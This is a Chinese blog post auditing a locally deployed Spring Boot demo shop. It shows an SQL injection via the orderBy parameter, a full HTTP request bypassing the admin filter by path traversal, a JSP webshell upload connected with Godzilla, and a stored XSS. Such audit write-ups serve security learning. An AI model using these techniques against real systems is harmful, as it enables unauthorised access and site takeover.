首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >【代码审计】Tmall(迷你天猫商城)代码审计

【代码审计】Tmall(迷你天猫商城)代码审计

作者头像
熔城Sec
发布2026-07-22 20:54:31
发布2026-07-22 20:54:31
260
举报
项目介绍

迷你天猫商城:一个适用于学生党的毕业设计参考项目,基于Spring Boot的综合性B2C电商平台,需求设计主要参考天猫商城的购物流程:用户从注册开始,到完成登录,浏览商品,加入购物车,进行下单,确认收货,评价等一系列操作。 作为迷你天猫商城的核心组成部分之一,天猫数据管理后台包含商品管理,订单管理,类别管理,用户管理和交易额统计等模块,实现了对整个商城的一站式管理和维护。

项目部署

项目地址:

代码语言:javascript
复制
https://gitee.com/project_team/Tmall_demo

导入项目之后,等待maven加载完成。使用phpstudy创建数据库,然后导入数据库文件。

代码语言:javascript
复制
Tmall_demo-master\Tmall_demo-master\sqls\tmalldemodb.sql

修改数据库配置文件

代码语言:javascript
复制
Tmall_demo-master\Tmall_demo-master\src\main\resources\application.properties

配置java1.8环境

然后Maven clean->Mavern install

最后运行application.properties即可

代码语言:javascript
复制
Tmall_demo-master\Tmall_demo-master\src\main\resources\application.properties

前端地址:

代码语言:javascript
复制
http://localhost:8080/tmall/

后台管理地址:

代码语言:javascript
复制
http://localhost:8088/tmall/admin

账户密码:admin/123456

漏洞分析

0x01 SQL注入

我看网上的大佬都是在pom.xml翻找到mybatis依赖,但是我没有翻到,所以直接借用自动化工具铲子SATST扫出来的any_mybatis_sqli进行审计,找一个传参的地方。

对传参进行跟踪

代码语言:javascript
复制
D:\DMSJ\Tmall_demo-master\Tmall_demo-master\src\main\resources\mybatis\mapper\RewardMapper.xml

这里需要搜索一下class orderUtil找到这个类

然后该类下存在两个方法,分别为

代码语言:javascript
复制
public OrderUtil(String orderBy){
        this.orderBy = orderBy;
        this.isDesc = false;
    }
    public OrderUtil(String orderBy,boolean isDesc) {
        this.orderBy = orderBy;
        this.isDesc = isDesc;
}

直接使用Ctrl+B跟踪两个方法,其中public OrderUtil(String orderBy)是没有构造方法的,只有OrderUtil(String orderBy,boolean isDesc) 存在构造方法

我们随便找个方法,看看是否是可控的

代码语言:javascript
复制
D:\DMSJ\Tmall_demo-master\Tmall_demo-master\src\main\java\com\xq\tmall\controller\admin\OrderController.java

因为是使用orderBy进行传参的,我们看看方法里面,orderBy到底是怎么传参的,向上翻动。

并且该方法处可以看到路由,然后到后台找到具体的位置,我们抓包看一下

代码语言:javascript
复制
GET /tmall/admin/product/0/10?product_name=&category_id=0&product_sale_price=&product_price=&product_isEnabled_array=0&product_isEnabled_array=1&product_isEnabled_array=2&orderBy=&isDesc=true HTTP/1.1
Host: localhost:33333
sec-ch-ua-platform: "Windows"
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
Accept: */*
sec-ch-ua: "Chromium";v="133", "Not(A:Brand";v="99"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
sec-ch-ua-mobile: ?0
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:33333/tmall/admin
Accept-Encoding: gzip, deflate, br
Cookie: username=admin; JSESSIONID=E1979D1D279033F564BC752FC600CD3C
Connection: keep-alive

看一下请求包中确实存在orderBy参数,可以直接用sqlmap跑一下

同时也可以把sqlmay的日志打开,看看是怎么sql注入到底是怎么传参的

0x02 鉴权绕过

这个一般就看项目中是否存在Filter过滤文件

代码语言:javascript
复制
D:\DMSJ\Tmall_demo-master\Tmall_demo-master\src\main\java\com\xq\tmall\filter\AdminPermissionFilter.java

代码作为Web过滤器,拦截所有以/admin/开头的URL请求,但是会放行/admin/login和/admin/account。

代码语言:javascript
复制
if(servletRequest.getRequestURI().contains("/admin/login") ||
                servletRequest.getRequestURI().contains("/admin/account")

然后我们通过构造poc来进行绕过

代码语言:javascript
复制
GET /admin/login/../../tmall/admin/product HTTP/1.1
Host: localhost:33333
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Chromium";v="133", "Not(A:Brand";v="99"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: */*
Content-Type: text/html;charset=UTF-8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:33333/tmall/admin
Accept-Encoding: gzip, deflate, br
Cookie: 
Connection: keep-alive

0x03 文件上传

这个漏洞是在个人头像存在上传功能

上传文件抓包,看下路由,/tmall/user/uploadUserHeadImage

然后去搜索一下代码段,看看具体是怎么写的,从代码中能看出来,上传文件之后,对文件名进行uuid编码,然后保存路径也写明了。

代码语言:javascript
复制
res/images/item/userProfilePicture/

因为这个迷你天猫商城的项目,是由spring boot框架开发的,因为在Spring Boot框架中,默认情况下并不直接支持JSP(Java Server Pages),所以我们需要在pom.xml配置文件中看一下到对jsp解析依赖。这里提供了对jsp文件的解析功能。

然后我们通过正常构造上传的请求包,对jsp文件进行上传即可,然后用webshell连接工具连接,这里需要在上传的时候对文件后缀进行更改。

路由在代码中

代码语言:javascript
复制
tmall/res/images/item/userProfilePicture/

使用哥斯拉进行链接

0x04 XSS

随便下一个订单进行插入操作

确认支付后即可弹窗

并且后台用户在点击详情的时候也会触发

通过路由搜索地址的传参方法时,发现并没有过滤

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2026-07-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 熔城Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档